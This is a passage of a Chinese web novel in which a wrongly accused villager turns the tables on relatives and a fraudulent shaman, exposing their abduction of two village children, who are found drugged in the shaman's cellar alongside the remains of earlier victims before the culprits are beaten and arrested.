江十二也跟着有些傻眼了,他一把推开江洋,自己亲自上手,在老鼠洞内摸来摸去,弄得整个人都灰头土脸。
可是,依然什么都没有!
“不可能!这不可能啊!怎么会没有呢?”
意识到不妙的江十二猛地抬头,一双老眼因为焦急和恐惧而布满了血丝。
他下意识地看向院外的王三妮,又看了看不远处的赵神婆,眼神中充满了惊惶和询问。
他们藏的东西不见了,接下来又该怎么收场?
王三妮看到丈夫和儿子那副见了鬼的表情,心里“咯噔”一声,最后一点侥幸也破灭了。
她嘴唇哆嗦着,喃喃道:“怎么会这样……东西呢?咋不见了……”
赵神婆躺在门板上,肿胀的眼睛也死死盯着灶房方向。
当她看到江十二父子那副一无所获、惊慌失措的样子时。
她眼中的兴奋和期待彻底熄灭,一股难以置信的惊骇和不安感,直袭心间。
计划最关键的一环,竟然在最不可能出错的地方,出了问题!
是谁在暗中搞的鬼?
她以前的那些仇家对头?
还是江河这个狗东西提前有了察觉?
“怎么,没找到吗?”
江河此时缓缓踱步到灶房门口。
双臂抱于胸前,侧身斜倚着门框,好整以暇地看着在里面翻得灰头土脸、失魂落魄的江十二父子。
脸上恰到好处的露出了一丝关怀的笑意,轻声安抚道:
“别着急,你们有的是时间,可以再多找几遍。”
“实在不行的话,院子里还有铁锨,你们可以把那个老鼠洞刨出来看看,说不定就能找到你们想要找的东西了呢……”
第84章 **战,我才是祖宗
江河的语气轻松,甚至带着几分嘲弄与调侃。
这些话听在江十二父子的耳中,无异就变成了最恶毒的嘲讽。
江洋有些气不过,脑子一热,竟真的冲出灶房,从墙根处抄起一把锈迹斑斑的铁锨,返身回到灶房,就要去刨那个老鼠洞。
“江洋!你干什么?!还不快住手!”江十二见状,连忙出声喝止。
当众在人家灶房里刨老鼠洞,这成什么体统?
真要是这么做了,岂不是坐实了他们“栽赃不成,气急败坏”的嫌疑?!
“爹!东西肯定就在里面!肯定是卡住了或者掉更深了!刨开一定能找到!”
江洋红着眼睛,执拗地喊道。
东西是他亲手藏的,不可能会没有!
他才不相信这世上有什么邪祟或是妖魔,更不相信他亲自藏的东西会凭空消失。
此刻,他只想用最简单也最粗暴的方法,证明自己没错。
“混账东西!快给我放下!”
江十二气急,连忙上前去抢夺江洋手中的铁锨。
父子俩在狭窄的灶房里拉扯起来,撞得柴堆哗啦作响,尘土飞扬,狼狈不堪。
院外围观的村民见状,不由发出阵阵哄笑和鄙夷的议论。
“啧啧,看这爷俩急的,跟热锅上的蚂蚁似的!这得是多想要在江河家搜出点儿东西来啊?”
“可不是嘛,先前口口声声说江河偷了他们家东西,还说赃物就藏在了灶房。
结果他们自己又搜不出来,现在还要拿铁锨刨人家的地,这不是胡闹吗?”
“我看啊,根本就是他们自己心里有鬼,在贼喊捉贼!”
“……”
张云龙的脸色已经阴沉得能滴出水来。
眼前这场闹剧,让他对老宅的观感恶劣到了极点。
“够了!”张云龙一声暴喝,如同惊雷,震得灶房里的江十二父子浑身一僵。
“江十二!江洋!你们还要胡闹到什么时候?!”
张云龙迈步走到灶房门口,目光如刀,直视着**头父子。
“你们口口声声说赃物在此,如今差役搜过,你们自己也翻过,甚至还要用铁锨刨地!结果呢?东西何在?!”
“我……我们……”江十二语塞,面皮紫涨,冷汗涔涔。
“差爷,定是江河这奸贼提前转移了!或者……或者用了什么障眼法!”
江洋兀自嘴硬,但声音已没了先前的底气。
“转移?还障眼法?”
江河嗤笑一声,突然挺直了身形,目光炯炯的直视着江洋,冷声道:
“老二,江洋!你也太看得起我这个当大哥的了!”
“你好好看看,老子现在头上受了重伤,前几天更差点儿就进了鬼门关!”
“昨天晚上听说老宅那边失了火,老子硬是强撑着身子去救火救人,好悬没有直接累死在那里!
从火场回来之后,我身心俱疲,脑袋也疼得厉害,让**为我换过药后就直接睡下了,哪里有闲功夫去做别的事情?”
“倒是你,刚刚一进来就跟条疯狗一样直奔灶房,似乎笃定了我家灶房里的那个老鼠洞内有东西!”
“江洋,我现在是不是也可以合理的怀疑,是你一早就在我家藏好了赃物,然后又贼喊捉贼的前来陷害老子?!”
江河的反问,如同重锤敲打在江洋的心口,也敲在了所有围观者的心头。
对啊!
江洋从一进来,目标就异常明确,直奔灶房柴火堆下的老鼠洞,仿佛早就知道那里有东西。
这太反常了!
根本就不是正常人搜查房间时该有的步骤与举动。
莫说是江河这个正主怀疑,就算是他们这些围观的人也感觉到了有些不对。
江洋被问得张口结舌,脸憋得通红,矢口狡辩道:
“我……我没有!你少在这里污蔑好人!是娘说你从小就有在灶房藏东西的臭毛病,我才会直接开始搜查灶房……”
“是吗?”
江河打断他,语气越发凌厉,冰冷的目光在江洋、江十二还有不远处的王三妮身上轻轻扫过。
“那王三妮还真是够了解我的啊?人都没进屋,竟然只靠猜的,就能准确的猜到我家灶房里的哪个老鼠洞里藏了东西?”
“江洋,麻烦你说谎的时候过过脑子好吗?你当张捕头、老族长、里正公,还有在场的诸位乡亲都是傻子吗?!”
“我……我……”江洋彻底慌了,眼神闪烁,求助般地看向自己的父亲。
江十二心中也是叫苦不迭,暗骂老二真是个十足的蠢货,刚刚干嘛非要拿铁锨,现在好了,被人给抓住口实了吧?
“江河,你休要血口喷人!老二他只是因为家中的财物全失,心中太过着急,所以才会失了一些体统!”
“再说,我们不是什么也没有搜到吗,你凭什么说我们是栽赃陷害?”
江十二不停地在为江洋和他自己方才的不当行为找补着说辞。
说来也是好笑,这空空如也的老鼠洞,现在反而成了他们摆脱栽赃嫌疑的最好借口。
没有赃物,所谓的栽赃陷害自然也就无从谈起。
江河想要反过来污蔑他们是贼喊捉贼,故意栽赃陷害于他,也完全站不住脚。
“真是天真啊!”
江河瞥了江十二一眼,心中暗自嘲讽。
你们以为没有证据我就治不了你们了?
岂不知,你江爷爷才是玩**战的祖宗!
不就是造谣生事,凭空污蔑,无事生非,往别人身上扣屎盆子吗,整得好像谁不会似的?
江河冷笑一声,不再理会这父子二人,转而面向张云龙,拱手道:
“张捕头,现在家已经搜了,事情也已然有了一个结果,想必张捕头还有在场的诸位差爷,也已然看了个清楚明白。”
“**老宅举家诬告草民,且证据全无。而江洋刚刚搜查我家的时候,行为反常,目标明确,有重大栽赃陷害的嫌疑!”
说到这里,江河的声音稍顿了顿,目光扫过心神不定的王老四等人,继续开口说道:
“更紧要的是,刚刚赵神婆还污蔑草民是邪祟,谋害、甚至是生吃了王老四与王小顺两家的两个孩子,还怂恿着他们一起搜查我家,寻找所谓的证据。”
“草民现在严重怀疑,这一切,都是老宅与赵神婆相互勾结,先以邪祟谣言惑众,再行诬告栽赃之举,其目的恐怕不仅仅是为了陷害于我!”
说着,江河不禁提高了音量,确保在场的每个人都能清楚听到:
“草民怀疑,他们真正的目标,
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或许就是村里丢失了的那对童男童女!”
“所谓的邪祟害人,根本就是他们为了掩盖自己**孩童、行不轨之事的**!”
“凭着草民对他们的了解,草民敢断定,那两名丢失的孩童,现在指定是被他们给藏起来了!”
“所以我提议,重点搜查一下江家老宅,还有赵神婆他们家!”
“不出意外的话,那两个孩子现在应该就藏在他们两家的某间柴房或是地窖里面……”
“所以,要搜的话必须得快一点儿去,若是去得晚了,我担心两个孩子会被转移走,或是遭遇什么不测……”
“胡说八道!”
不等江河把话说完,王三妮就忍不住高声尖叫道:
“江河,你少在这里胡说八道,妖言惑众!”
“明明你就是那只邪祟!就是你害了那两个孩子!你还在这里污蔑我们,你的心思也太歹毒了!”
赵神婆也挣扎着,用漏风的声音嘶喊道:
“诸位乡亲,相信老身,那怨气……那孩童身死之后的怨气就在这附近……”
“定是江河这只邪祟害了他们!你们千万别听这只邪祟的蛊惑之言啊……”
然而,她们此刻的指控与辩解,在江河清晰有力的逻辑和江洋反常的行为面前,显得如此苍白无力。
越来越多的村民,开始用怀疑和愤怒的目光看向老宅众人及赵神婆。
尤其是丢了孩子的王老四、王小顺两家,更是眼睛都红了,死死盯着江十二、江洋、王三妮和赵神婆几人。
他们才不管什么证据不证据,污蔑不污蔑。
这个时候,哪怕只是一丝丝的怀疑与可能,他们也会不顾一切的去求证,去寻找。
就好像刚刚赵神婆污蔑江河是邪祟,害了他们家俩孩子时,他们也不顾一切的想要搜查江河家一样。
现在,听闻他们孩子可能还活着,且就藏在江家老宅或是赵神婆他们两家,他们自然不会无动于衷!
况且,相比于邪祟**之类的谣言,这种熟人作案的说辞也更容易让人相信。
“小顺,去,马上把咱们家的叔伯兄弟全都喊来,咱们一起去江家老宅还有赵神婆家,找孩子去!”
王小丫的奶奶王孙氏,第一个开**代,让王小顺去叫本家的叔伯兄弟,一起去江家及赵神婆家搜查找寻孩子。
“王老四,咱也一样,叫上咱家的三个兄弟两个大爷,跟小顺兄弟一起去**家和赵神婆家!”
“小豆子与小丫若是不在他们家也就罢了,若是真的找到了,看老娘不把他们的家给拆了!”
刘桂花也泼辣开口,谁要是敢打她儿子的主意,她是真敢跟别人拼命!
很快,热血上头的王小顺与王老四,便各自寻来了自家的本家叔伯兄弟,大爷侄子。
浩浩荡荡几十口子人,抄着家里的铁锨、扁担等物件,怒气冲冲的径直冲向了村东头的**家与赵神婆家。
老族长王德顺,还有里正王冶山,以及县里来的捕头张云龙及一众差役,根本就来不及阻拦。
事实上,他们也不敢在这个时候跳出来触霉头。
为了找孩子,王老四、王小顺等人全都已经急红了眼,谁要是敢在这个时候阻拦他们,他们是真敢出手揍人!
第85章 得势不饶人,步步紧逼
看到王老四、王小顺两家人已然如同出闸猛虎,抄起家伙就气势汹汹地冲向了村东。
一直强作镇定的江十二、江洋、王三妮、王艳以及赵神婆几人,脸色瞬间全都变了!
尤其是江十二与江洋父子,更是面若死灰,眼中充满了无法掩饰的惊骇与恐慌!
因为他们之前,是真的把那两个昏迷的孩子,给藏到了赵神婆家后院的那座地窖里去了!
这是他们计划中最关键、也最隐秘的一环。
赵神婆家素来少有人去,知道他们家有地窖的人更是少之又少。
两个孩子中了迷香晕倒之后,就被他们给直接拖放进了那处地窖之中,短时间内绝对不会醒来哭闹。
他们本打算,等这边坐实了江河“邪祟害人”的罪名,将江河送到火刑架当众烧死之后,再寻个合适的时机把孩子卖给外面的人牙子,还能换俩钱儿花花。
反正在村民们的意识中,这俩孩子已经**河这个邪祟给害**,也不会再有人去刻意寻找,完全没有什么后顾之忧。
可他们千算万算,却没有算到江河不仅没被他们的诬告打倒,反而在三言两语之间,就一口道破了他们藏匿孩子的地点——赵神婆家的地窖!
他是怎么知道的?!
是他有未卜先知之能?还是……从始至终,他一直都在暗中盯着他们?!
想到这里,一股莫名的寒气从脚底直冲江十二父子的天灵盖!
完了!
他们的计划全乱套了!
王三妮也急了,她虽然不知道俩孩子具体被藏在哪里,但见丈夫和儿子这副见了鬼的表情,也知道大事不妙。
她不由扭头看向旁边的老族长王德顺,里正王冶山,还有张云龙等一帮县里来的衙役,尖声哭嚎着向他们乞求道:
“老叔公,冶山兄弟,还有各位差爷,你们就这样看着不管吗?”
“他们这是要去私闯民宅,要强搜我们家啊!还有没有王法了!你们……你们快去拦住他们啊!”
王德顺、王冶山还有张云龙等人,听到王三妮的这般刺耳的乞求声,不由全都微微皱起了眉头。
王德顺猛敲了一下手中的拐杖,先一步开口,声音带着压抑不住的厌恶:
“王三妮,方才你在老宅提出要搜江河家时,可不见你提什么私闯民宅,也不曾说什么王法不王法。怎么,现在有人要搜你们家了,你却又变得这般不依不饶了?!”
“你老实告诉我,你是心中有鬼,还是家里藏了什么见不得人的勾当,所以才会如此害怕别人去搜你们家?!”
“我……”王三妮一时语塞,被噎得有些说不出话来。
里正王冶山也沉着脸道,看着王三妮道:
“王三妮,事有轻重缓急。如今两个孩子下落不明,生死不知。王老四、王小顺作为孩子至亲,情急之下寻子心切,其情可悯。”
“况且,是你们一家和赵神婆先诬告江河,又扯出邪祟**之说,闹得人心惶惶。如今江河反过来指证你们藏匿孩童,意图不轨,也没什么毛病!”
说到这里,他顿了一下,目光扫过脸色惨白的江十二父子,意有所指道:
“若你们心中坦荡,并无私藏孩童,让王老四、王小顺他们这些丢了孩子的苦主们去搜一搜又有何妨?”
“正好可以趁机还你们一个清白。似你们现在这般横加阻拦,反倒是更让人生疑!”
王三妮被怼得哑口无言,见老族长与里正都不帮她,只能拍着大腿冲着张云龙干嚎道:
“冤枉啊!我们才是丢了财物的苦主啊,现在丢失的钱财没有找到,咋还能反过来被人给污蔑成是偷孩子的恶贼呢!差爷,您可得给我们评评理,为我们做主啊!”
张云龙冷哼一声,目光锐利如刀,直视着王三妮还有江十二父子,厉声言道:
“够了!”
“本捕头倒是觉得王族长与王里正所言在理。现在村里丢了两个孩子,人命关天,不可怠慢。既然有人怀疑孩子就藏在你们家,让人去搜一下又有何妨?”
“若是你们身家清白,没有做那等拐卖孩童之举,正好可以借着苦主搜寻的机会,还了你们清白,这对你们来说亦是好事!”
王三妮身形一震,彻底说不出话来。
连县里来的捕头都这么说了,这让她还能怎么办?
再继续撒泼胡闹下去,只会越发的让人怀疑他们心中有鬼,越发相信他们与那俩孩子的失踪有关!
另一边。
也已经意识到不妙的赵神婆,蜷缩着身子,肿胀的双眼一直阴毒的死死盯着江河,喉咙里发出“嗬嗬”的急喘声。
江十二与江洋把那俩孩子送到她家时,她也是知道的。
原以为这是万无一失的周全之举,没想到现在竟成了他们**孩童的不轨铁证!
更让她感到心焦与恐惧的是,那座地窖里藏着的可不止有那俩倒霉孩子!
还有她这么多年以来做“法事”积攒下来的许多“家当”,以及一些根本就见不得光的东西!
万一要是被那些人给翻了出来,她不仅会一夜返贫,获罪入狱,说不定还会被愤怒中的村民直接乱棍打死……
而造成眼前这一切的罪魁祸首,就是江河这个杀千刀的狗东西!
只是,让她怎么也想不明白的是,江河是如何知晓这一切的?
之前江十二与江洋动手迷晕王小豆与王小丫,以及把那两件血衣偷偷放进江河家的时候,江河正在被一群衙役看押着去了**老宅。
按理来说,这些事情江河应该是一无所知才对啊。
可是为何现在,江河的表现却是如洞若观火一般,步步都占了先机,刀刀都砍在了他们的七寸之上?
这特么真是邪了门儿了!
赵神婆心有不甘,却也知大势已去,再无力回天,只得低声向边的子侄交待道:
“小伍,快!此地不宜久留,马上带着老身离开这里!”
趁着王三妮跟几名衙役及王德顺、王冶山纠缠的空当,她得赶紧跑路才行!
否则,等到王老四、王小顺那些人在她家的地窖里搜出了孩子,找到了她藏在地窖里的那些罪证,她再想要跑可就晚了!
那叫小伍的年轻人早就被这阵仗吓破了胆,闻言不禁如梦初醒,连忙招呼其他三名同伴,手忙脚乱地抬起赵神婆,趁着众人不注意,小心的后退着向外溜走。
然而,他们刚挪动了没两步,一个带着几分调笑与嘲弄的声音便在他们身后响起:
“怎么,赵神婆,这是想去哪儿啊?”
江河不知何时已经绕到了
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他们的身后,双臂环抱,好整以暇地挡住了他们的去路,脸上带着一丝嘲讽的冷笑。
“眼下好戏才刚开场,您这位‘主角’怎么能提前退场呢?”
“赵神婆,你这该不会心虚害怕,想要提前逃跑开溜吧?”
赵神婆浑身一僵,肿胀的双眼死盯着江河,里面充满了怨毒和一丝慌乱:
“江河!你……你少在这里胡言乱语?!什么逃跑开溜,你又哪只眼睛看到老身心虚害怕了?”
“王老四那些粗汉都嚷嚷着要去搜我们家了,老身难道还不能回去看看了?万一有人手脚不干净,趁乱抢了我们家东西,你赔给老身不成?”
赵神婆强作镇定,试图用反问来掩饰自己的慌乱。
江河嗤笑一声,非但没让开,反而上前一步,离她更近了些,居高临下地俯视着她道:
“回去看看?我看回去是假,想要趁机逃跑才是真吧?”
说到这里,江河的声音陡然转冷,目光如电的直视着赵神婆:
“赵神婆,你方才不是口口声声说感应到我们家有邪祟害人,怨气冲天吗?”
“现在我们家已经被县里的差爷们给仔仔细细的搜过了,并没有找到什么邪祟害人的证据。”
“这是不是可以说明,你的那个什么狗屁感应,一点儿也不准呢?”
说完,不等赵神婆回答,江河又淡声言道:
“还有,一会儿要是王老四、王小顺他们,真的在江家老宅或是你赵神婆的家里,发现了那两个失踪的孩子,你又该做何解释?”
“总不能又是我这只‘邪祟’在故意陷害你们,把那两孩子悄悄送到你们家去的吧?”
江河的追问,如同一把锋利的锥子,直刺赵神婆最恐惧的软肋。
赵神婆被问得哑口无言,肿胀的脸皮一阵抽搐,喉咙里“嗬嗬”作响,却连一句像样的狡辩都说不出来。
她总不能说,这一切都是她在暗中谋算,那俩孩子也是她自己同意藏进她家地窖中的吧?
江河不再看她,转身面向张云龙、王德顺及王冶山等人,朗声道:
“老族长,里正公,张捕头,你们应该也看到了,赵神婆方才的所谓‘感应’,在我家并未应验,说明她根本就是在信口雌黄,妖言惑众!”
“而她此刻神色慌张,意图逃离,更是做贼心虚,想要畏罪潜逃的表现!”
“如果说之前我所说的那些还只是猜测与推断,那么现在,看到赵神婆这般心虚害怕的模样,我已然可以基本断定,村里孩童失踪一案,必与这赵神婆脱不了干系!”
“那俩孩子,极有可能就是被藏匿在了赵神婆家中!赵神婆此刻想要离开,也定是察觉到事情即将败露,想要提前逃跑罢了!”
这些话逻辑清晰,指向明确。
在场的这些人,只要不是瞎子,都能看出赵神婆方才的表现,有着极大的问题。
张云龙本就对赵神婆的装神弄鬼有所不满,此刻见江河言辞凿凿,而赵神婆又这般心虚畏缩的表现,不由厉声喝道:
“赵神婆!在事情没有结果之前,你给本捕头在这儿老实待着!若再敢妄动,视同拒捕!”
赵神婆闻言,不由身形一软,面容灰败,仿若所有的精气神,都在这一刻被人给抽干了一样。
第86章 孩子找到了
听到张云龙的吩咐,两名衙役瞬时上前,彻底封住了赵神婆一行的退路。
抬门板的王小伍等人吓得面如土色,再不敢动弹半分。
说到底,他们也只是平头老百姓而已,可不敢跟县里的官差对着干。
赵神婆绝望地闭上了眼睛,知道自己已经丧失了最后的逃跑机会,只能像条死鱼一样瘫在门板上,等待着最终的审判。
王三妮也不敢再逼逼赖赖的念叨撒泼,像只鹌鹑一样缩着脖子,不知在想些什么。
江十二、江洋父子早就已经吓得双腿发软,头皮发麻,直接瘫坐在地上,浑身直打颤。
他们两个可是诱拐并迷晕了王小豆与王小丫的直接案犯。
若是王小豆与王小丫被救了出来,他们父子二人肯定第一个就被指认出来。
到了那时,莫说是县里的差爷们会把他们给带到县衙治罪,就算是王老四与王小顺他们,也绝对不会轻饶了他们啊。
一顿胖揍都是轻的,若是王老四与王小顺发了疯,直接打残甚至打死他们都不是没有可能啊!
江洋媳妇王艳也没有了之前的嚣张姿态,蹲下身子,抱着江洋的胳膊,一个劲儿的小声念叨着:
“当家的,现在可怎么办啊!要是咱们出了事,江贤、江达不会受到影响吧?”
“……”
时间在令人窒息的等待中缓缓流逝。
一刻钟后。
村东方向,终于传来了惊天动地的喧哗!
那声音里,有狂喜,有愤怒,有惊骇,有哭嚎,混杂在一起,如同山崩海啸!
“找到了!孩子在这里!还活着!”
“小豆子!娘的儿啊!”
“小丫,奶奶的乖孙女儿,快让奶奶看看!”
“天爷啊!这地窖里都是些什么鬼东西?!”
“这里怎么会有小孩子的骨头?!而且还不止一副骸骨?!”
“还有这些符纸、药草、孩子穿过的衣服……这……这上面画的什么?!”
“……”
因为距离太远,很多话都听得并不太真切。
但是那句“孩子找到了,还活着!”,在场的所有人全都听了个清楚明白。
这句话的每一个字,都像重锤一样,狠狠的敲在了江十二、赵神婆等人的心头,将他们最后一丝侥幸砸得粉碎。
王德顺、王治山亦是心头微震,扭头看向赵神婆的目光之中充满了嫌弃与厌恶。
他们没想到,这赵神婆为了污蔑江河,为了坐死江河邪祟的身份,竟然能做出如此卑劣甚至罪大恶极之事!
幸亏他们方才没有偏听偏信,更没有头脑一热,直接把江河给绑了送去火刑架。
否则的话,江河这小子冤**不说,他们二人的名声也必然会受损,以后还如何在村子里立足?
张云龙等一众衙役闻言,脸上全都不自觉的泛起了一丝喜色。
虽然他们主要调查的江家老宅失窃案并没有什么眉目,但是这意外遇到的孩童失踪案,却是送上门的功劳。
他们这些差役甚至什么都没做,就有人主动把案犯送到了他们的跟前,这世上还有什么比这更幸运的事情吗?
这要是回到县衙,禀明了县尊老爷,他们几人必少不了一番嘉奖。
这般想着,几名衙役不由朝着赵神婆几人又靠近了些,免得这几人会狗急跳墙,突然逃跑。
很快。
王老四、王小顺等人,在几名衙役的跟随下,抱着两个昏迷但胸口微微起伏的孩子,向江河他们这边走来。
他们的身后,还有不少村民,扛着、抬着从地窖里搜出的大包小包,如同愤怒的洪流,涌回了江河家的院门前。
看到依然躺在门板上的赵神婆,所有村民皆都对她怒目而视,其中有三户人家更是手持铁棍、木棒,径直朝着赵神婆冲来。
“老巫婆!你还我儿子命来!”
“赵神婆,你个老妖婆!前年你说我女儿被水鬼给捉走了,还骗了我家足足八百文钱去捉水鬼,可为什么我女儿的长命锁会在你们家的地窖里?”
“还有,你老实告诉我,地窖里那副戴着长命锁的孩童尸骨,到底是不是我女儿?是不是我女儿?!”
“赵神婆,你个草菅人命的老畜生,我家小孙子是不是也是这样被你害死的,你赔我孙子的命来……”
一行人还没有冲到赵神婆跟前,就被几名衙役给拦了下来。
没有办法,这些人只能站在几名衙役的身前,隔空指着赵神婆一阵诅咒叫骂,有几人甚至都忍不住坐在地上哭得稀里哗啦。
那哭声中蕴含的绝望与悲痛,让在场的所有人都为之动容,看向赵神婆的目光更是厌恶非常。
这老妖婆,手上沾染的恐怕不止一两条人命!
那些被村民们从地窖里搜出的陈旧童衣,还有那几副完整的孩童骸骨,还有那些符咒法器……无不诉说着令人毛骨悚然的罪恶。
另一边。
刘桂花和王孙氏此时也顾不上别的,抱着孩子直接就跪倒在了贾不为贾郎中的跟前,哭着乞求贾郎中救救他们的孩子。
贾不为蹲下身为两个孩子稍作检查,原本有些紧张严肃的脸色稍稍放松,轻声向刘桂花与王孙氏说道:
“放心吧,两个孩子只是被迷香给迷晕了,并没有受什么伤。”
“王老四,你这就去那边的灶房里舀一瓢凉水来,用软布蘸些凉水,在这俩孩子的额头轻拍两下,应该就能醒来了。”
王老四闻言,二话不说就冲到了江河家的灶房里,找到水瓢与水缸,舀了一瓢水就又小跑着回来。
然后他直接用自己的衣袖沾了些凉水,小心的放到了王小豆的额上。
旁边,王小顺也有样学样,同样用自己的衣袖蘸上些凉水,放到自己家姑娘的额头。
经凉水一激,迷香的药力逐渐消退。
再加上旁边几位亲人的不断呼唤,昏迷中的王小豆和王小丫的睫毛同时颤动了几下之后,相继发出微弱的呻吟,并缓缓睁开了眼睛。
“醒了!醒了!”
“我的豆儿啊,你可吓死娘了!”
“小丫,小丫!你终于醒了,终于醒了!”
刘桂花和王孙氏喜极而泣,紧紧抱住失而复得的孩子,哭得几乎喘不过气来。
王老四和王小顺也围在旁边,又是哭又是笑,孩子们劫后余生的狂喜让他们有些语无伦次。
两个孩子醒来后,先是茫然地看了看
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四周,当看到熟悉的家人时,才“哇”的一声哭了出来,同时双手紧紧抱着家里的大人,浑身害怕的直颤抖。
“没事儿了,没事儿了!娘在呢,爹也在呢,豆子不怕!”
“呜呜呜,都怪那杀千刀的赵神婆,看都把我家小豆子给吓成什么样了!”
“对,都是那该死的老巫婆,亏得老娘以前还那么相信她,没想到她竟然敢对我家乖孙女下毒手!”
刘桂花与王孙氏一边抱着自家的孩子安抚着,一边不停的咒骂起了赵神婆。
“娘,你说啥呢?我与小丫不是赵神婆给带走的啊!”
啥?
刘桂花、王孙氏还有王老四、王小顺等人全都是一愣。
小豆子这是什么意思?
他们若不是被赵神婆给拐走的,还能是谁?
要知道,这俩孩子可全都是在赵神婆家的地窖里被找到了啊!
难道说,这个赵神婆还有其他帮凶?!
“小豆子,小丫,你们老实告诉我,到底是哪个王八蛋,把你们两个给迷晕带走的?!”
王老四杀气腾腾的沉声向自己儿子还有王小丫询问了起来。
不远处,江十二与江洋,听到两个孩子醒来的消息,以及俩孩子与刘桂花、王孙氏之间的对话,瞬间就感觉头顶的天全塌了!
他们最害怕的事情,终于要发生了!
“呜……呜呜……是……是江爷爷……还有洋二叔……”
王小豆在父亲的追问下,抽抽噎噎,断断续续地说道:
“他们说带……带我们去玩儿,还给我们好吃的。然后江爷爷就拿一块香香的布……捂住我的鼻子……然后就啥也不知道了……”
王小丫也哭着点头,用小手比划着:“是洋二叔拿布捂住了小丫的嘴巴,然后小丫就睁不开眼了……”
孩童天真无邪、带着哭腔的指认,清清楚楚,明明白白!
真正将他们迷晕并带到赵神婆家的凶手,竟是江家老宅的江十二与江洋!
“江十二!江洋!”
“竟然是你们这两个畜生不如的狗东西!”
王老四和王小顺闻言,瞬间双目赤红,如同被激怒的雄狮,发出一声震天的怒吼,挣脱了身边人的阻拦,疯了一般朝着已经瘫在地上的江十二和江洋扑去!
“打死你们这两个黑心肝的王八蛋!”
“敢动我儿子(女儿),老子跟你们拼了!”
这一次,旁边的衙役没有再刻意阻拦,而是放任王老四与王小顺肆意发泄着心中的怒火。
江十二与江洋这父子俩,跟赵神婆的情况不同。
赵神婆本身就已经受了重伤,若是再被人群殴,一个不好就直接一命呜呼了,差役们当然不会眼看着她被人给打死。
但是江十二与江洋就不同了,他们手脚完好,身体强健,刚刚在闯进江河家灶房里搜查的时候,别提有多欢实、多卖力了。
这样的人,就算是被揍了,顶多也就是个重伤,想死哪那么容易?
对于些拐卖、残害孩童的黑心**,县里的这些差役也是嫌恶之极。
就算是这二人在村子里没有挨揍,等回到县衙大狱里,他们也少不了会好好的招待他们一顿。
第87章 麻烦尽去,浑身轻松
见王老四和王小顺如同怒虎般扑向江十二父子,几名衙役只当是什么都没看到,甚至还远远的侧让开了身子,任由他们肆意发泄。
“哎哟!”
“别打了!饶命啊!”
“差爷救命!要**啦!差爷救命啊!”
江十二和江洋的惨叫声、求饶声瞬间响起。
王老四和王小顺积压了大半日的恐惧、焦虑和愤怒情绪,此刻如同火山般爆发。
沙包大的拳头如同雨点般落下,没有分毫留情。
王老四是庄稼把式,力气大,几拳下去,江十二就鼻青脸肿,嘴角淌血,倒在地上呻吟不止。
王小顺则更狠,一脚猛踹在江洋的肚子上,疼得他蜷缩如虾米,捂着肚子躺在地上,半天都没叫出声来。
周围的村民见状纷纷叫好,不少人摩拳擦掌,若不是有官差在旁,他们怕是也要冲上去踹几脚解解恨。
都说这兔子还不吃窝边草呢。
可是江十二与江洋这俩狗东西可倒好,偷孩子都偷到自己村子里来了,心都特么黑透了!
这次要是不打死他们,都算便宜他们了!
王三妮看到丈夫和儿子被打,忍不住发出一声凄厉的尖叫:
“别打我家老头子!别打我儿子!”
“王老四,王小顺!冤有头,债有主,是赵神婆怂恿我家男人去偷你们家孩子的,你们要出气,就去揍赵神婆那个罪魁祸首去啊,打我家男人与我儿子做什么?!”
王三妮倒是甩得一手好锅,一张嘴就把主要的罪过全都甩到了赵神婆的身上。
王艳则吓得呜呜直哭,抱着头缩在一旁当起了鸵鸟。
王老四、王小顺听到王三妮的叫嚷声,身形只是停了一瞬,就又继续挥动着拳头,死命的往江十二及江洋二人的身上招呼。
赵神婆他们当然不会放过,但是这个江十二与江洋,可是直接对他们家孩子动手的畜牲,他们更不会放过。
况且,赵神婆现在已经被那几名差役给牢牢围住,他们就算是想打也打不到。
而江十二与江洋这里,却没有半个差役来阻拦,他们自然不会舍近而求远,再跑到赵神婆那边自讨没趣。
从始至终,张云龙一直都站在旁边冷眼看着。
直到江十二父子被打成了猪头,口吐鲜血,惨叫连连,躺在地上几乎没了任何挣扎的力气,这才沉声喝道:
“好了!全都给本捕头停下!”
王老四和王小顺闻言,又狠狠补了两脚,才喘着粗气停下。
但眼中的怒火却丝毫未减,一副想要把江十二与江洋给彻底撕碎的架势。
“王老四,王小顺,人犯自有国法惩治,莫要真的打**,否则你们也免不了要跟本捕头到县衙大狱里住几天。”
张云龙声音不高,却自带威严。
王老四二人听到这话后,恨恨地瞪了地上瘫软的江十二父子一眼,又往他们身上啐了一口唾沫,这才收手退开。
“来人!”张云龙适时发号施令:“把江十二、江洋锁了,加戴重枷!王三妮、王艳,一并押解!”
“至于赵神婆及其同伙,也一样全上重枷,严加看管,即刻押送回县衙!”
“是!”衙役们高声应是。
之后,衙役们同时动手,动作粗暴地将如同死狗般的江十二、江洋拖起,给他们戴上最重的木枷。
沉重的枷锁压得二人几乎直不起腰,脸上血迹混着泥土,狼狈不堪。
王三妮和王艳也被铁链锁住,哭哭啼啼地抹着眼泪,满面满眼的绝望之色。
赵神婆虽然断了手脚,也一样被上了重枷,整个人连同她身上的门板,全都被差役们给严加看管了起来。
她缓缓的抬起头,眯缝着红肿的双眼,看着被打得凄惨无比的江十二父子,还有哭哭啼啼的王三妮、王艳婆媳二人,突然如鬼哭一样的轻笑了起来。
没有人知道她在笑什么,但是王三妮在听到她的笑声之后,脑袋压得更低了,根本就不敢抬头与赵神婆对视。
张云龙没有理会赵神婆的疯笑,他抬步走到那堆从地窖搜出的物证前,面色凝重地一一查看。
那些陈年童衣、孩童骸骨、邪异法器、符咒册子,无不触目惊心。
他拿起一本手抄册子翻看几页,上面记录着一些古怪的仪式和所需“材料”。
其中多次提到“童男童女”、“纯净之血”、“先天之气”等字眼,看着令人不寒而栗。
“王族长,王里正!”
张云龙猛的合上手中的册子,一脸肃然的对王德顺和王冶山二人说道:
“此案已非寻常**诬告。赵神婆在三河县境内行此邪术,害命敛财,罪大恶极。”
“且其背后,恐怕还有其他不法之辈在逍遥法外,断不可轻视。”
“本捕头需要立刻返回县衙禀报上官,请县尊老爷定夺,就不在此地多留了。”
“这些骸骨还有诸多罪证,以及那些涉案的村民,我全都要一并带走,你们二位可还有什么要交待的?”
王德顺和王冶山深知事态严重,哪敢多嘴多舌,连忙拱手言道:
“此事全凭张捕头做主!请张捕头务必严惩元凶,挖出其余党凶徒,以安民心!”
张云龙微微点头,之后又看向江河,语气缓和了些:
“江河,你今日表现,本捕头都看在眼里。”
“沉着冷静,思虑周详,不仅自证清白,更是顺势揭露出了赵神婆这样的大奸大恶之徒的真面目。待回到县衙后,本捕头自会为你请功。”
